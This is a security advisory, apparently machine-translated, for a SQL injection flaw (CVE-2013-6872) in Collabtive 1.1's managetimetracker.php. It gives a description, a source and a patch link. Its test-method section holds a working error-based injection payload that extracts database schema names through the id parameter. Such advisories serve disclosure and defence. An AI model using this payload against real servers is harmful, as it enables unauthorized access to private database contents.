Collabtive 'managetimetracker. php' script SQL Injection Vulnerability

Release date:
Updated on:

Affected Systems:
Collabtive 1.1
Description:
--------------------------------------------------------------------------------
Bugtraq id: 64943
CVE (CAN) ID: CVE-2013-6872

Collabtive is an open source project management software for the basic Web, which is written in PHP and JavaScript.

Collabtive 1.1 and other versions do not properly filter managetimetracker. the id parameter of the php page has a dual-query SQL injection vulnerability. authenticated attackers can exploit this vulnerability to obtain sensitive database information.

<* Source: Yogesh Phadtare

Link: http://packetstormsecurity.com/files/124777/Collabtive-1.1-SQL-Injection.html
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Http://www.example.com/collabtive/managetimetracker.php? Action = projectpdf & amp; id = 2 and (select 1 from (select count (*), concat (select distinct concat (0x7e, 0x27, cast (schema_name as char), 0x27, 0x7e) FROM information_schema.schemata LIMIT 0, 1) from information_schema.tables limit 0, 1), floor (rand (0) * 2 )) x from information_schema.tables group by x) a) and 1 = 1

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Collabtive
----------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://collabtive.o-dyn.de/downloadref.php